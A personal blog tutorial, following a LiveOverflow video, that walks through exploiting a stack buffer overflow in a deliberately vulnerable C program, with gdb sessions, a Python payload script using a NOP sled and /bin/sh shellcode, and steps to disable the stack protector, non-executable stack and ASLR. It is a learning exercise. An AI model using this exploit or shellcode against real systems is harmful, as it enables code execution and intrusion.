This post follows along with a LiveOverflow video where he creates a buffer overflow exploit. I wrote this blog post to not only learn about buffer overflows, but to practice writing about technical topics as well.
The main goal is to overwrite the return address on the stack frame with a new address that points to shellcode.
-fno-stack-protector
- Some compilers add stack protection to protect against buffer overflows - related error*** stack smashing detected ***: <unknown> terminated
Program received signal SIGABRT, Aborted.
0xf7fd5079 in __kernel_vsyscall ()
-z execstack
- Some compilers mark stack memory as non-executable, so shellcode cannot be executed from inside the stack - related errorProgram received signal SIGEGV, Segmentation fault.
0xfffffd29e in ??()
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
- Many Linux distros have ASLR enabled by default which randomizes memory address where programs load their stacks, heaps, vars, etc.Here's the C code to exploit
#include <stdio.h>
#include <string.h>
int func(char buff[]){
char buffer[64];
printf("Address: %p\n", (void*)&buffer);
strcpy(buffer, buff);
printf("Buffer contents copied");
}
int main(int argc, char **argv){
if (argc < 2) {
printf("Not enough args\n");
} else {
func(argv[1]);
}
}
The strcpy()
function is what makes this program vulnerable. strcpy()
writes contents to memory until a null terminator \0
reached. The length of the buffer is not checked and this can lead to writing past the buffer length and into program space.
The above code is in file hello.c
# compile the program w/ debugging symbols and make output executable
gcc -m32 -g -o hello hello.c
chmod 755 hello
To run the program
It's really important to under 'ret' in assembly in order to understand how a stack based buffer overflow works. (Source: https://c9x.me/x86/html/file_module_x86_id_280.html)
There are two key pointers in a CPU: the stack pointer (esp
) and the instruction pointer (eip
). The eip
points to the next instruction to execute, and controlling it can redirect program flow. The ret
instruction moves a value from esp
to eip
. In a stack-based buffer overflow, overwriting esp
can cause ret
to load a controlled memory address into eip
, redirecting execution.
In a buffer overflow, overwriting the return address in esp
with a different address before ret
executes allows shellcode execution. In the image above, the goal is to overwrite 0xffffd2dc
with a chosen address.
In the example above, Char c[12]
is the buffer. Using functions like strcpy()
, content can overflow the buffer and overwrite critical stack data, such as the return address in the third image.
# Python script used to generate the input variable for `./hello`
padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
print padding
Print 4 of each letter (32 bits total) to match the width of a memory address, making it easier to track which letters are loaded into specific addresses.
python2 payload.py
Use gdb
to set a breakpoint on the ret
instruction in func() and check if the alphabet string overwrites the return address.
# Launch gdb
gdb ./hello
In gdb
, add the output of the Python script as an argument to the program
run $(python2 payload.py)
*** stack smashing detected ***: <unknown> terminated
Program received signal SIGABRT, Aborted.
0xf7fd5079 in __kernel_vsyscall ()
So what is this about? The alphabet string managed to overflow the buffer, but it also triggered the first buffer overflow protection mechanism.
The gcc compiler on Ubuntu 18.04.1 adds a stack protector mechanism to detect buffer overflows
For learning purposes, recompile the program to disable the stack protector.
gcc -m32 -g -o hello hello.c -fno-stack-protector
# Rerun gdb and python again
gdb ./hello
run $(python2 payload.py)
Stack smashing wasn't detected this time.
Moving on, switch gdb
to the Intel assembly syntax
set disassembly-flavor intel
Disassemble the func()
function
disassemble func
gdb
managed to resolve references to strcpy
, printf
, and puts
. This line is the important one for the buffer overflow.
0x565555ce <+81>: ret
Note: addresses may be different than this one.
Add a breakpoint on it.
# In gdb, set a breakpoint and run the program again
# If gdb says it's already being debugged, press y
b *0x565555ce
r $(python2 payload.py)
# Examine 20 words as hexadecimal starting at the stack pointer
x/20wx $esp
With the breakpoint on ret at 0x565555ce <+81>
, inspecting esp
reveals the return address.
info registers
Look at the esp
register. Does it look familiar?
The esp
register is pointing at 0xffffd26c
. Since the next instruction is ret
, that means 0xffffd26c
is the piece of memory that stores the return address.
Continue past the breakpoint using c
in gdb
.
It looks like it tried to access memory address 0x54545454
? But why?
The ret
instruction loads the return address from esp
into eip
to redirect program flow. Inspecting esp
(x/20wx $esp
in gdb
) showed 0x54545454
, the overwritten return address. When execution continued, ret
loaded 0x54545454
into eip
, causing an error due to invalid memory.
A hex-to-ASCII converter shows 0x54545454
is TTTT
, meaning the padding string TTTT
overwrote the return address. Replacing TTTT
with an address pointing to executable code enables full exploitation of the buffer overflow. The target address will be discussed next.
Hardcoding TTTT with an address is unreliable, as memory addresses can vary due to factors like different environment variables on a machine.
To get around this, selecting an offset of a memory address and using a NOP sled technique and help get shellcode executed. Using this technique allows more flexibility and less percision than it would if a hardcoded memory address was used.
To read up on NOP sleds here's a stack overflow post
For example, setting the return address to 0xffffd26c+50
means return to the address 50 bytes above 0xffffd26c
. The offset can be tweaked per machine to 100 or 1000 depending on the reliablity of the exploit.
# New exploit code
import struct
padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
return_address = struct.pack("I", 0xffffd26c+50)
nops = "\x90"*90000
payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
print padding+return_address+nops+payload
Remove every beyond SSSS
since the return address is confirmed to be where TTTT
is written.
padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
Import struct
and use it to format the return address + offset of 50
.
import struct
return_address = struct.pack("I", 0xffffd26c+50)
The hex code for a NOP is x90
. Create about 90k NOPs with the idea the return address will point to one of these.
nops = "\x90"*90000
Borrowing shellcode from here to execute `/bin/sh`
payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
# Put all the memory together
# Padding to fill up the return address
# The "new" return address
# NOPs to cushion the landing
# Payload to execute /bin/sh
print padding+return_address+nops+payload
Running this script replaces the return address with 0xffffd26c+50
(e.g., 0xffffd28c
). At 0xffffd28c
, the NOP sled will guide execution into the shellcode.
# Run gdb and place a breakpoint on `ret` again, then run the payload
gdb ./hello
b *0x565555ce
r $(python2 payload.py)
On the breakpoint, view the memory in esp
.
x/30wx $esp
All of the NOPs are filling the memory space. If the return address is correctly pointed to, the exploit succeeds. Inspecting the memory where the stack pointer is located shows that the address in esp
has changed.
The return address 0xffffd26e+50
equates to address 0xffffd28e
.
The payload hasn't executed yet, since the breakpoint was hit, but examining the memory, it appears that the shellcode will be hit if the offset pointed to a memory address within the NOP sled.
Press c
to continue in gdb
(gdb) c
Continuing.
Program received signal SIGEGV, Segmentation fault.
0xfffffd29e in ??()
A segmentation fault indicates the NOPs are not being hit, at least initially that's what seems to be indicated.
Examining esp
though indicates the NOPs are being hit though.
x/40wx $esp
Note: In between the previous three screenshots the payload was updated slightly, so instead of the address equaling `0xffffd28e`, it now equals `0xffffd29e`. This doesn't affect the outcome though.
The selected return address+offset
should be working, performing no operations until reaching the shellcode.
After much digging, here's the reason for the segmentation fault.
When the program was compiled, the compiler marked stack memory as non-executable memory, so if it tries to execute CPU instructions from inside the stack, the program seg faults. This is the second protection against stack based buffer overflows.
To turn this feature off, add the -z execstack
arguments in gcc then recompile the program again.
gcc -m32 -g -o hello hello.c -fno-stack-protector -z execstack
Re-run the ./hello
in gdb
again with the payload. This time, no breakpoint is needed.
gdb ./hello
r $(python2 payload.py)
The shellcode was hit and it launched /bin/sh
in the gdb
instance. This can be verified with whoami
.
Voila, code execution!
Nextly, the code should be run outside of a debugging environment.
# In a new terminal
./hello $(python2 payload.py)
Segmentation fault (core dumped)
New question: why does this not work when running outside of gdb
?
# checking the kernel logs
tail -n 4 /var/log/kern.log
According to the logs, eip
is using the expected return address. But the stack pointer changing in between runs.
The stack pointer not consistent like it was in gdb
where the stack pointer was fairly predictable.
The issue that is causing this is ASLR - Address Space Layout Randomization
.
ASLR is an operating system feature that randomizes the layout of memory in a program. The randomized layed makes it difficult to predict where the stack pointer will be, thus making it difficult exploit reliably.
# Turn off ASLR
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
After disabling ASLR in the operating system, the explout now works reliably and a shell is executed.
Thanks for reading.
-DJ